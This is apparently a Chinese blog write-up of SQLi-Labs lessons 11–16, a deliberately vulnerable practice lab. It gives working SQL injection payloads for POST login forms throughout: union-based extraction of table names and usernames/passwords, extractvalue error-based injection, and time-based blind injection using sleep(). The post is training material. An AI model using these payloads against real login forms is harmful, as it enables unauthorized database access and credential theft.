zoukankan      html  css  js  c++  java
  • SQLi-Labs:Less11-Less16

    Less 11

    前几关传输数据的方式是get,可以在url里看到,而现在使用的是php中的post方法进行传输,所以我们要借助burp suite来进行操作

    我们首先输入账号admin,密码admin,得到界面如下:

     打开burp suite设置代理以及设置浏览器为手动代理,在浏览器这里开启post data复选框

     如下:

     我们在lesson 11界面重新输入账号,密码为admin,然后将burp suite里这些:uname=admin&passwd=admin&submit=Submit复制下来

     粘贴到浏览器post data框里,关掉burp suite的接收

     点击execute current URL以后,正常登录

    现在开始测试有没有注入点,用户名输入admin',密码不变,页面报错有语法错误说明存在注入漏洞,并且是字符型注入

    账号输入jyx' or 1=1#,登录成功(此处不能使用--+,因为--+主要使用在url中,#在这里是适用的),所以在这里我们找到了注入语句闭合方式

     猜列数:

    uname=admin' order by 2#&passwd=admin&submit=Submit

     uname=admin' order by 3#&passwd=admin&submit=Submit

     说明有2列

    我们就可以通过回显注入联合查询进行注入

    uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit

     查看当前数据库为security

    uname=admin' and 1=2 union select database(),2#&passwd=admin&submit=Submit

     查看库里有什么表

    uname=admin' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

     查看表里有什么字段:

    uname=admin' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit

     查看字段内容:

    uname=admin' and 1=2 union select group_concat(username,password),2 from security.users#&passwd=admin&submit=Submit


    Less 12

     同第11关一样,我们要借助burp suite来进行操作

    首先输入账号admin,密码admin来登录,并将抓取到的用户名密码部分粘贴到Post data

     burpsuite里点击forward放行并关掉burpsuite接受包

    在账号的admin后面加单引号,只是提示登录失败

     加双引号,报错,根据报错我们可以知晓这一关的闭合方式为")

     注:一开始加单引号并不报错,所以我们尝试双引号,这就涉及到了一个测试闭合的方法,一般就是:'    ')     '))    "    ")     "))

    uname=admin") or 1=1#&passwd=admin&submit=Submit,登录成功

     剩下的如同第十一关就可以

    猜列数

    uname=admin") order by 2#&passwd=admin&submit=Submit

     uname=admin") order by 3#&passwd=admin&submit=Submit

     所以共有2列

    开始联合查询

    当前数据库名称

    uname=adm") union select database(),2  # &passwd=a&submit=Submit

     其他数据库名称

    uname=adm") union select (select schema_name from information_schema.schemata limit 1,1),2  # &passwd=a&submit=Submit

     当前数据库的表名

    uname=adm") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)  # &passwd=a&submit=Submit

     users表的列名

    uname=adm") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)  # &passwd=a&submit=Submit

     内容

    uname=adm") union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  # &passwd=a&submit=Submit


    Less 13 

    同样先用账号admin和密码admin登录

     账号admin后面加单引号

     通过报错信息我们知晓闭合方式是')

     猜列数

    uname=admin') order by 3# &passwd=admin&submit=Submit

    uname=admin') order by 2# &passwd=admin&submit=Submit

    依旧能根据报错猜出是两列,但是登录成功页面也并没有回显,所以我们考虑报错注入或者盲注

     布尔型盲注需要一个一个比对ASCII码,时间盲注也可以,但在这里我们首先使用报错注入里的extractvalue()

    首先当前数据库

    uname=admin') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# &passwd=admin&submit=Submit

     表名

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# &passwd=admin&submit=Submit

     列名

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))# &passwd=admin&submit=Submit

     内容

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))# &passwd=admin&submit=Submit


    Less 14

     账号admin后加单引号无法登录不报错,尝试双引号报错

     其他同第十三关一样,可以尝试时间注入和报错注入


    Less 15

    正常用账号密码登录以后,在账号的admin各种单引号双引号括号只是显示无法登录并不报错,所以这一关要考虑时间盲注了

    uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(length(database())=9,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库共有8个字

    爆库

    当前数据库第一个字

    uname=admin' and if(ascii(left(database(),1))>114,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left(database(),1))>115,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库第一个字ASCII码值为115,为's',逐个猜解,当前数据库名字为'security'

    爆表名(在这之前要像爆库名一样用length()判断一下表名长度)

    security数据库第一个表的第一个字

    uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>100,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>101,sleep(5),1)#&passwd=admin&submit=Submit

     所以security数据库第一个表的第一个字ASCII码值为101,为'e',逐个猜解,该表名为'emails'

    爆列名(在这之前要像爆库名一样用length()判断一下库名长度)

    uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>104,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>105,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库的emails表里字段名第一个字ASCII码值为105,为'i',逐个猜解,该字段名为'id'

    爆内容(在这之前要像爆库名一样用length()判断一下该内容长度)

    我们爆users表的username字段的第一个值的第一个字

    uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>67,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>68,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库的users表里username字段第一个值得第一个字ASCII码值为68,为'D',逐个猜解,该值为'Dumb'


    Less 16

    闭合方式为双引号,其他均与第15关一致利用时间盲注来注入~~~

    就酱~~~

  • 相关阅读:
    Codeforces 691A Fashion in Berland
    HDU 5741 Helter Skelter
    HDU 5735 Born Slippy
    HDU 5739 Fantasia
    HDU 5738 Eureka
    HDU 5734 Acperience
    HDU 5742 It's All In The Mind
    POJ Euro Efficiency 1252
    AtCoder Beginner Contest 067 C
    AtCoder Beginner Contest 067 D
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12810532.html
Copyright © 2011-2022 走看看